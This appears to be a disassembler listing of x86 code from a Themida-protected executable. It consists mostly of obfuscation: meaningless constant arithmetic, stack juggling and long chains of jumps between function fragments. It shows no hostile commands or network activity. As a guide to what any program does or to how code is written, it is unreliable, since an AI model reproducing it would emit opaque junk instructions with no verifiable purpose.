mov esi, 11F36176h
xor esi, 7FC631AAh
add esi, 91CAAF28h
add edi, esi
jmp loc_5728A1
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_566B26: ; CODE XREF: sub_574304+40Dj
push ecx
jmp loc_560EB8
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_566B2C: ; CODE XREF: sub_561F05-AD5j
push esi
mov esi, 5E17401Dh
jmp loc_571482
; END OF FUNCTION CHUNK FOR sub_561F05
; =============== S U B R O U T I N E =======================================
sub_566B37 proc near ; CODE XREF: sub_56D455-7A28j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560385 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00562B6D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056518D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005670F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056855F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568E99 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572D08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00574343 SIZE 00000008 BYTES
push ebp
push edx
mov edx, 72997EABh
mov ebp, edx
pop edx
or eax, ebp
jmp loc_562B6D
sub_566B37 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_566B48: ; CODE XREF: sub_56CC46-C165j
mov [esp+0], eax
jmp loc_567072
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_566B50: ; CODE XREF: sub_574F16-DBADj
xor cl, dh
xor dh, cl
xor cl, dh
dec cl
push edx
mov dl, 0F1h
xor cl, dl
pop edx
and dl, cl
pop ecx
push small 0
add byte ptr [esp+6+var_6], 0F9h
sub byte ptr [esp+6+var_6], dl
jmp loc_57400C
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_566B71: ; CODE XREF: sub_569193-17D2j
mov [esp+10h+var_10], edi
jmp loc_56E916
; END OF FUNCTION CHUNK FOR sub_569193
; =============== S U B R O U T I N E =======================================
sub_566B79 proc near ; CODE XREF: sub_563ADF+FED0j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00562541 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00564905 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056EEE7 SIZE 0000001A BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 4
sub dword ptr [esp+4], 6D251A85h
jmp loc_56EEE7
sub_566B79 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_566B94: ; CODE XREF: sub_574A21-C104j
mov ecx, eax
pop eax
jmp loc_56838D
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_566B9C: ; CODE XREF: sub_572075-F9C4j
pop [esp+8+var_8]
pop esp
jmp loc_571ADA
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_566BA5: ; CODE XREF: sub_57354D-3E4Aj
push ecx
mov ecx, 411A527Ch
jmp loc_56B4E5
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_566BB0: ; CODE XREF: sub_5734A7-82A6j
push eax
mov eax, 4
add edi, eax
pop eax
add edi, 4
push 3B02h
mov [esp+14h+var_14], edi
push [esp+14h+var_10]
jmp loc_56676E
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_566BCD: ; CODE XREF: sub_56BD44-8D60j
add esp, 4
jmp loc_56068D
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_566BD8: ; CODE XREF: sub_571C0A-9A5j
sub edx, 38290EA0h
add edx, edi
add edx, 38290EA0h
xor [edx], ecx
push [esp+8+var_8]
pop edx
push edi
jmp loc_568F03
; END OF FUNCTION CHUNK FOR sub_571C0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_566BF2: ; CODE XREF: sub_569DB5+76B3j
add ecx, 4
push edx
jmp loc_572470
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_566BFE: ; CODE XREF: sub_571088-61CBj
add esp, 4
jmp loc_566DE6
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_566C09: ; CODE XREF: sub_5713A7+1532j
add edx, edi
push ecx
jmp loc_5618F3
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_566C11: ; CODE XREF: sub_571F6F-8F64j
add esp, 4
add bl, 4Ah
jmp loc_572A65
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_566C1C: ; CODE XREF: sub_5684A6-73ADj
add [esp+8+var_8], 4
mov esi, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], ecx
jmp loc_560232
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_566C3A: ; CODE XREF: sub_568646+CD16j
mov cl, 0D6h
xor cl, 12h
mov al, cl
mov ecx, [esp-4+arg_0]
add esp, 4
sub cl, al
pop eax
mov dl, cl
pop ecx
jmp loc_56ED17
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_566C55: ; CODE XREF: sub_567D31+A8A0j
add esp, 4
push edx
push esp
mov edx, [esp+0]
add esp, 4
jmp sub_564D26
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_566C6B: ; CODE XREF: sub_564D26+7B71j
pop ecx
shl edx, 4
or edx, 6F1E5F53h
push 55F7h
mov [esp+18h+var_18], ecx
push ebp
jmp loc_5658B0
; END OF FUNCTION CHUNK FOR sub_564D26
; =============== S U B R O U T I N E =======================================
sub_566C83 proc near ; CODE XREF: sub_56D1DD-8A3Dj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560007 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00560655 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00560BC7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056211C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005629E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005630D8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005668FA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566E28 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568AD9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00569385 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056A1AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A763 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AD9B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B3FD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571011 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00572C7C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005741C9 SIZE 00000012 BYTES
push ebx
mov ebx, 2EAF1D22h
xor ebx, 3A0701A0h
or ebx, 627E5893h
add ebx, 9F7BCFC3h
sub ebp, ebx
jmp loc_569385
sub_566C83 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_566CA2: ; CODE XREF: sub_56C38F-5692j
push 41A7h
jmp loc_56F790
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_566CAC: ; CODE XREF: sub_569DB5-7313j
add [esp+8+var_4], ebx
jmp loc_563197
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_566CB5: ; CODE XREF: sub_57354D-8376j
add esi, 4
push ebp
push 56B5h
mov [esp+10h+var_10], ecx
jmp loc_56AD2E
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_566CC9: ; CODE XREF: sub_570B3C-73F1j
push 17D1h
mov [esp+0], ebx
jmp loc_56D7C5
; END OF FUNCTION CHUNK FOR sub_570B3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_566CD6: ; CODE XREF: sub_572DD7-127j
push edx
push eax
push 7214131Dh
jmp loc_568A25
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_566CE2: ; CODE XREF: sub_569CBC+B24Aj
add ebx, 4
jmp sub_560457
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_566CED: ; CODE XREF: sub_56C38F-5AA0j
push 2409h
mov [esp+4+var_4], edx
mov edx, 67A42300h
add ebx, edx
pop edx
jmp loc_566CA2
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5722C8
loc_566D02: ; CODE XREF: sub_5722C8+7C2j
mov ecx, 4
add edi, ecx
jmp loc_56D503
; END OF FUNCTION CHUNK FOR sub_5722C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C4FF
loc_566D0E: ; CODE XREF: sub_56C4FF-BCC0j
sub edx, 6C3E1462h
mov ecx, edx
jmp loc_571C75
; END OF FUNCTION CHUNK FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_566D1B: ; CODE XREF: sub_5713A7+91Bj
add edx, eax
jmp loc_56D244
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_566D22: ; CODE XREF: sub_5685B2+99D3j
mov ebp, [esp-4+arg_0]
jmp loc_56C028
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_566D2A: ; CODE XREF: sub_5678CB+3050j
mov ax, word ptr [esp+0Ah+var_A]
push ebx
jmp loc_56CE33
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_566D34: ; CODE XREF: sub_5605BC+39C7j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+28h+var_28]
jmp loc_569C42
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_566D4A: ; CODE XREF: sub_56D464+39E8j
push 31CCh
jmp loc_56A486
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_566D54: ; CODE XREF: sub_568E5C+A6ECj
neg ebx
sub ebx, 20804204h
add edx, ebx
pop ebx
sub edx, 0B519BB1Dh
mov edi, edx
jmp loc_5714E0
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_566D6C: ; CODE XREF: sub_566117-43j
add ebx, ecx
jmp loc_569BC4
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_566D73: ; CODE XREF: sub_5738F4-68E7j
add edi, 404A0B2Ah
jmp loc_5612AD
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_566D7E: ; CODE XREF: sub_569AB3+AC44j
push dword ptr [edi+24h]
push 5FF8h
mov [esp+0Ch+var_C], ebp
push edi
push ebp
push 5FA2h
mov [esp+18h+var_18], esp
add [esp+18h+var_18], 4
jmp loc_56AE6B
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572D45
loc_566D9F: ; CODE XREF: sub_572D45+109Fj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
add ebx, esi
push [esp+4+var_4]
pop esi
add esp, 4
add ebx, 2
jmp loc_5705A9
; END OF FUNCTION CHUNK FOR sub_572D45
; =============== S U B R O U T I N E =======================================
sub_566DC7 proc near ; CODE XREF: sub_56D3B7-76E1j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005607B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562EE4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00563CB9 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00566543 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568C82 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00569FD6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056D92E SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056E195 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FF2B SIZE 00000012 BYTES
push ebx
jmp loc_56D92E
sub_566DC7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568CD2
loc_566DCD: ; CODE XREF: sub_568CD2-1AF6j
mov ebp, [esp+0]
add esp, 4
jmp loc_572054
; END OF FUNCTION CHUNK FOR sub_568CD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_566DDB: ; CODE XREF: sub_560844+90BBj
mov ebx, 28E3DD30h
push ebx
jmp loc_570CA7
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_566DE6: ; CODE XREF: sub_571088-A484j
add al, 3Fh
push ecx
mov cl, 91h
sub cl, 2Ah
xor cl, 0F6h
push bx
mov bh, 0B2h
xor cl, bh
pop bx
jmp loc_570B5F
; END OF FUNCTION CHUNK FOR sub_571088
; =============== S U B R O U T I N E =======================================
sub_566DFE proc near ; CODE XREF: sub_56351E+5A60j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00561E2F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00564A38 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005673AB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567A5A SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056CC82 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D4EA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E7E5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057149C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005719A5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00572864 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057340C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005746BE SIZE 0000001D BYTES
sub esp, 4
jmp loc_56CC82
sub_566DFE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B310
loc_566E06: ; CODE XREF: sub_56B310-381Aj
xor edi, [esp+0]
xor [esp+0], edi
xor edi, [esp+0]
pop esp
ror [esp-4+arg_0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56B310
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_566E19: ; CODE XREF: sub_568E5C-588j
pop eax
jmp loc_5738AC
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_566E1F: ; CODE XREF: sub_5678CB-5E9Dj
mov al, 59h
xor al, dl
jmp loc_571CF1
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_566E28: ; CODE XREF: sub_566C83+C002j
mov ebp, 287C1F3Eh
jmp loc_560BC7
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_566E32: ; CODE XREF: sub_572641-8151j
mov cl, al
pop eax
add al, 0D7h
push ebx
mov bl, 0ACh
add bl, 0F9h
add al, bl
pop ebx
sub al, 0A5h
sub al, cl
add al, 0A5h
sub al, 0A5h
sub al, 0D7h
mov ecx, [esp+4+var_4]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_5614D1
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566078
loc_566E65: ; CODE XREF: sub_566078+44j
pop esp
shl edx, 7
push ecx
jmp loc_573801
; END OF FUNCTION CHUNK FOR sub_566078
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_566E6F: ; CODE XREF: sub_563BCC+1019Dj
mov ebx, 71DB0137h
sub edi, ebx
mov ebx, [esp+0Ch+var_C]
push edi
push esp
jmp loc_560D5B
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_566E80: ; CODE XREF: sub_56B06D+8C85j
push 55E4h
jmp loc_5728AA
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD38
loc_566E8A: ; CODE XREF: sub_56FD38-4FD5j
sub ebx, 164A25C9h
add ebx, 0CCEA0958h
add eax, ebx
mov ebx, [esp+4+var_4]
add esp, 4
push 433Dh
mov [esp+4+var_4], ebx
mov ebx, 4D43AA2h
push edi
mov edi, 590642AEh
and ebx, edi
jmp loc_56A70C
; END OF FUNCTION CHUNK FOR sub_56FD38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_566EBB: ; CODE XREF: sub_5685B2+8777j
push esi
mov esi, 4
sub eax, esi
pop esi
jmp loc_5708C1
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_566EC9: ; CODE XREF: sub_574A21-CE40j
sub eax, 5B4E72DFh
push esi
mov esi, 105D1C48h
add eax, 58726EA7h
sub eax, esi
sub eax, 58726EA7h
pop esi
sub eax, 4A120CACh
sub eax, 15D92143h
jmp loc_561CD4
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_566EF0: ; CODE XREF: sub_575315-11D87j
xchg ebx, [esp-4+arg_0]
jmp loc_574D82
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_566EF8: ; CODE XREF: sub_5738F4-124j
pop eax
jmp loc_565616
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_566EFE: ; CODE XREF: sub_56B1DC-92B1j
add esp, 4
jmp loc_56FC3E
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56504F
loc_566F09: ; CODE XREF: sub_56504F-5016j
pop edi
jmp sub_56C295
; END OF FUNCTION CHUNK FOR sub_56504F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_566F0F: ; CODE XREF: sub_5648C6+C389j
shr ebp, 6
shl ebp, 8
not ebp
and ebp, 8792C9Dh
xor ebp, 32E204A8h
jmp loc_5748ED
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_566F28: ; CODE XREF: sub_56F1DB-EF4Aj
mov edx, [esp+0]
add esp, 4
add esi, 64EF2F4Dh
push [esp-0Ch+arg_8]
pop ebx
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_571C1E
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1F0
loc_566F4A: ; CODE XREF: sub_56F1F0+6j
add ebp, 28AF4588h
jmp loc_574CFA
; END OF FUNCTION CHUNK FOR sub_56F1F0
; =============== S U B R O U T I N E =======================================
sub_566F55 proc near ; CODE XREF: sub_564686+5CADj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00569C73 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D043 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056D402 SIZE 00000012 BYTES
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
jmp loc_569C73
sub_566F55 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_566F67: ; CODE XREF: sub_563DCB+26j
push esi
mov esi, 4D4F7A32h
mov ebx, esi
pop esi
sub ebx, 493E7836h
sub ecx, ebx
jmp loc_5603EB
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56749A
loc_566F7D: ; CODE XREF: sub_56749A-52A2j
xor eax, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_56137C
; END OF FUNCTION CHUNK FOR sub_56749A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570019
loc_566F8E: ; CODE XREF: sub_570019-7F2Cj
push ecx
mov ecx, esp
jmp loc_5644E1
; END OF FUNCTION CHUNK FOR sub_570019
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_566F96: ; CODE XREF: sub_5687A3-287Cj
sub ecx, eax
jmp loc_56F893
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5735AA
loc_566F9D: ; CODE XREF: sub_5735AA-CD72j
rep movsd
add esp, [edx+38h]
push 5568h
mov [esp+0], ebx
push 3C0E4252h
mov ebx, [esp+4+var_4]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_566823
; END OF FUNCTION CHUNK FOR sub_5735AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_566FC6: ; CODE XREF: sub_5733CA-61F2j
pop ecx
add esi, 0FFFFFFFFh
not esi
push ecx
mov ecx, 1
jmp loc_573763
; END OF FUNCTION CHUNK FOR sub_5733CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_566FD7: ; CODE XREF: sub_570621-B2E0j
add edi, 4
push edx
push ecx
mov ecx, 1313340Fh
jmp loc_56329B
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726FB
loc_566FE9: ; CODE XREF: sub_5726FB-184j
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
mov [esp+0], ecx
push esi
mov esi, 7559571Dh
shl esi, 3
jmp loc_562784
; END OF FUNCTION CHUNK FOR sub_5726FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_567000: ; CODE XREF: sub_571890-E664j
xchg ebx, [esp+0]
mov esp, [esp+0]
jmp loc_5638F4
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56700B: ; CODE XREF: sub_5605BC+11605j
mov ecx, 7B22424Dh
not ecx
neg ecx
jmp loc_561773
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_567019: ; CODE XREF: sub_561027+13CCEj
xor esi, 762E00FEh
xor edi, esi
jmp loc_564EC6
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_567026: ; CODE XREF: sub_5666C3+D45Fj
push edi
mov edi, 37F553EEh
xor edi, 54EA5EA8h
jmp loc_575110
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_567037: ; CODE XREF: sub_574AF3-E062j
sub eax, 4BDF5B20h
add eax, esi
add eax, 4BDF5B20h
pop esi
jmp loc_570834
; END OF FUNCTION CHUNK FOR sub_574AF3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_567049 proc near ; CODE XREF: sub_57354D+1A8j
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00560C7C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00562D29 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564467 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565A87 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056912E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005713EE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574C03 SIZE 00000037 BYTES
push ebp
mov ebp, esp
push edx
mov edx, 4
jmp loc_562D29
sub_567049 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_567057: ; CODE XREF: sub_561541+400Ej
pop esi
xor esi, ecx
mov ecx, [esp+4+var_4]
add esp, 4
jmp loc_57412F
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
loc_567065: ; CODE XREF: Themida_:0056E923j
push edx
mov edx, esp
push 5855h
jmp loc_56A070
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_567072: ; CODE XREF: sub_56CC46-60FBj
sub dword ptr [esp+0], 1D2F4F03h
pop edx
push 6953h
mov [esp+0], ebp
push 3847h
mov [esp+4+var_4], esi
push 26923C69h
mov esi, [esp+8+var_8]
add esp, 4
push ebp
mov ebp, 3BBD736Ah
jmp loc_56D11C
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_5670A0: ; CODE XREF: sub_574896-D629j
add eax, 4F4D4372h
mov ebp, [esp-4+arg_0]
add esp, 4
add eax, 4
jmp loc_572DEF
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_5670B8: ; CODE XREF: sub_56B11B-12C4j
shl edx, 1
push dword ptr [edi+24h]
push ecx
pop dword ptr [edi+24h]
pop ecx
sub ecx, 0FFFFFFFFh
xor [edi+24h], ecx
jmp sub_571C0A
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5670CD: ; CODE XREF: sub_564D26+FD3j
push [esp+10h+var_10]
pop edx
push ecx
sub esp, 4
mov [esp+18h+var_18], esp
add [esp+18h+var_18], 4
pop ecx
push ebp
mov ebp, 1B141451h
and ebp, 182D3CF4h
jmp loc_56CCDB
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_5670EE: ; CODE XREF: sub_565632+60B6j
xor edi, esi
mov esi, [esp+4+var_4]
jmp loc_56DAF0
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B37
loc_5670F8: ; CODE XREF: sub_566B37-3FBEj
mov [esp+4+var_4], eax
push ebp
pop eax
mov ebp, [esp+4+var_4]
jmp loc_572D08
; END OF FUNCTION CHUNK FOR sub_566B37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_567105: ; CODE XREF: sub_569DB5+86BFj
add esp, 4
add edx, 4
sub edx, 4
xchg edx, [esp+8+var_8]
jmp loc_56CD82
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_56711C: ; CODE XREF: sub_570E81-EB57j
mov esp, [esp+4+var_4]
push eax
push edi
push 331A2F53h
pop edi
or edi, 7D3A2AACh
push 42C2h
mov [esp+8+var_8], esi
jmp loc_561BFC
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_56713A: ; CODE XREF: sub_567CF5+503Fj
push 7B1Fh
mov [esp+8+var_8], ebp
